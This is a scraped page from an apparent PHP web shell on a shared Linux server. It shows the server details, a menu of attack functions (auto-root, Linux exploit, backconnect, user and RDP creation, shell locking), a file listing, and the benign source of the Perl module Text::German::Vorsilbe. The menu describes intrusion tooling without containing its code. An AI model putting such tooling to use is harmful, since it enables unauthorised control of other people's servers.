Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Text /
German /
[ HOME SHELL ]
Name
Size
Permission
Action
Adjektiv.pm
1.6
KB
-rw-r--r--
Ausnahme.pm
1.36
KB
-rw-r--r--
Cache.pm
2.02
KB
-rw-r--r--
Endung.pm
4.05
KB
-rw-r--r--
Regel.pm
18.29
KB
-rw-r--r--
Util.pm
977
B
-rw-r--r--
Verb.pm
9.45
KB
-rw-r--r--
Vorsilbe.pm
1.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Vorsilbe.pm
# -*- Mode: Perl -*- # Vorsilbe.pm -- # Author : Ulrich Pfeifer # Created On : Thu Feb 1 09:10:48 1996 # Last Modified By: Ulrich Pfeifer # Last Modified On: Sun Apr 3 11:44:42 2005 # Language : Perl # Update Count : 23 # Status : Unknown, Use with caution! package Text::German::Vorsilbe; # require Exporter; # @ISA = qw(Exporter); # @EXPORT = qw(%VORSILBE); { local ($_); while (<DATA>) { chomp; ($vorsilbe, $key) = split; $VORSILBE{$vorsilbe} = pack 'b*', $key; } close DATA; } sub vorsilben { my $word = shift; my @result; for $i (1 .. length($word)) { my $vorsilbe = substr($word,0,$i); if (defined $VORSILBE{$vorsilbe}) { push @result, $vorsilbe; } } @result; } sub max_vorsilbe { my $word = shift; my $result = undef; for $i (1 .. length($word)) { my $vorsilbe = substr($word,0,$i); if (defined $VORSILBE{$vorsilbe}) { $result = $vorsilbe if !defined($result) || length($vorsilbe) > length($result); } } $result; } 1; # un ? __DATA__ ab 010 an 010 auf 010 aus 010 be 100 bei 010 da 010 dabei 011 dar 010 darauf 011 drauf 012 durch 110 ein 010 em 100 ent 100 er 100 fest 010 fort 010 frei 010 ge 100 her 010 herauf 011 herum 011 herunter 011 hin 010 hinauf 011 hinzu 011 miss 100 mit 010 nach 010 nahe 010 ob 100 recht 010 ueber 110 um 110 umher 011 unter 110 ver 100 vor 010 voraus 011 vorher 011 weg 010 wider 110 wieder 110 zer 100 zu 010 zugrunde 012 zurueck 012 zusammen 012
Close